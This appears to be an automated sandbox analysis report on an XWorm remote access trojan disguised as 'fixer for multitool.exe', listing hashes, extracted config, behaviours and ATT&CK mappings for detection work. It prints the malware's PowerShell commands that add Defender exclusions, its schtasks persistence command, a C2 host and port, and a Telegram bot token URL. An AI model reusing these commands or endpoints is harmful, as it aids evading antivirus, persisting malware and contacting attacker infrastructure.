xworm | 014f0079149caead324ea0d3adb18d65f607662b8725da7fec7628de4acf828f

General

Target

fixer for multitool.exe
Size

79KB
MD5

2f7fb28cf91e8ccb2257834f9136cfd6
SHA1

b8f0f86c33bf46a8af745caf4bc0a8d5878e75f1
SHA256

014f0079149caead324ea0d3adb18d65f607662b8725da7fec7628de4acf828f
SHA512

4e0b8e0268346ddcd5c23d34c8c556eef66994d8c01f06bb5bd19cf1c25f00ee76ad8d0e1edb012ed64ba86a63cbcdb806595cc7d9dfc8ef4d31a4b6ef99c236
SSDEEP

1536:KPlF7XxO2o6rx59bm1AXR8x8KG6GaOD2srtdn+6:KrXcID9bm1k9KHOD2sr/+6

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

bad-motor.gl.at.ply.gg:4444

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral1/memory/2540-1-0x0000000001090000-0x00000000010AA000-memory.dmp	family_xworm
behavioral1/files/0x0009000000018742-35.dat	family_xworm
behavioral1/memory/1848-37-0x0000000000BB0000-0x0000000000BCA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2356	powershell.exe
2684	powershell.exe
3028	powershell.exe
2832	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	fixer for multitool.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	fixer for multitool.exe

Executes dropped EXE 2 IoCs

pid	Process
1848	security
2944	security

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security"	fixer for multitool.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3068	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2540	fixer for multitool.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3028	powershell.exe
2832	powershell.exe
2356	powershell.exe
2684	powershell.exe
2540	fixer for multitool.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2540	fixer for multitool.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2540	fixer for multitool.exe
Token: SeDebugPrivilege	1848	security
Token: SeDebugPrivilege	2944	security

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2540	fixer for multitool.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 3028	2540	fixer for multitool.exe	31
PID 2540 wrote to memory of 3028	2540	fixer for multitool.exe	31
PID 2540 wrote to memory of 3028	2540	fixer for multitool.exe	31
PID 2540 wrote to memory of 2832	2540	fixer for multitool.exe	33
PID 2540 wrote to memory of 2832	2540	fixer for multitool.exe	33
PID 2540 wrote to memory of 2832	2540	fixer for multitool.exe	33
PID 2540 wrote to memory of 2356	2540	fixer for multitool.exe	35
PID 2540 wrote to memory of 2356	2540	fixer for multitool.exe	35
PID 2540 wrote to memory of 2356	2540	fixer for multitool.exe	35
PID 2540 wrote to memory of 2684	2540	fixer for multitool.exe	37
PID 2540 wrote to memory of 2684	2540	fixer for multitool.exe	37
PID 2540 wrote to memory of 2684	2540	fixer for multitool.exe	37
PID 2540 wrote to memory of 3068	2540	fixer for multitool.exe	39
PID 2540 wrote to memory of 3068	2540	fixer for multitool.exe	39
PID 2540 wrote to memory of 3068	2540	fixer for multitool.exe	39
PID 1884 wrote to memory of 1848	1884	taskeng.exe	43
PID 1884 wrote to memory of 1848	1884	taskeng.exe	43
PID 1884 wrote to memory of 1848	1884	taskeng.exe	43
PID 1884 wrote to memory of 2944	1884	taskeng.exe	44
PID 1884 wrote to memory of 2944	1884	taskeng.exe	44
PID 1884 wrote to memory of 2944	1884	taskeng.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fixer for multitool.exe
"C:\Users\Admin\AppData\Local\Temp\fixer for multitool.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\fixer for multitool.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'fixer for multitool.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3068

C:\Windows\system32\taskeng.exe
taskeng.exe {A6CEBEA1-44AB-4008-9110-F1C5C782836C} S-1-5-21-4177215427-74451935-3209572229-1000:JSMURNPT\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1848
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
81babb8caf4f22ccfdb696c21cc29e92

SHA1
45e60cd23c3d5527f9dd17195e75cbd97a238c22

SHA256
1cd340d8a95b683fe0639e00822fe4c00a9f2c8d357a356c1bb1deca79aa5890

SHA512
b56decb07f30464872a2a958448e10a368b814f08e696e249b79f32ea267b72515cb29936ec490c99df795327f317e13df200ad649788c606de73080be3ce579

Download Submit
C:\Users\Admin\AppData\Roaming\security

Filesize
79KB

MD5
2f7fb28cf91e8ccb2257834f9136cfd6

SHA1
b8f0f86c33bf46a8af745caf4bc0a8d5878e75f1

SHA256
014f0079149caead324ea0d3adb18d65f607662b8725da7fec7628de4acf828f

SHA512
4e0b8e0268346ddcd5c23d34c8c556eef66994d8c01f06bb5bd19cf1c25f00ee76ad8d0e1edb012ed64ba86a63cbcdb806595cc7d9dfc8ef4d31a4b6ef99c236

Download Submit
memory/1848-37-0x0000000000BB0000-0x0000000000BCA000-memory.dmp

Filesize
104KB

Download
memory/2540-31-0x000000001B260000-0x000000001B2E0000-memory.dmp

Filesize
512KB

Download
memory/2540-1-0x0000000001090000-0x00000000010AA000-memory.dmp

Filesize
104KB

Download
memory/2540-33-0x000000001B260000-0x000000001B2E0000-memory.dmp

Filesize
512KB

Download
memory/2540-0-0x000007FEF5FE3000-0x000007FEF5FE4000-memory.dmp

Filesize
4KB

Download
memory/2540-32-0x000007FEF5FE3000-0x000007FEF5FE4000-memory.dmp

Filesize
4KB

Download
memory/2832-14-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2832-15-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/3028-8-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/3028-7-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/3028-6-0x0000000002B80000-0x0000000002C00000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads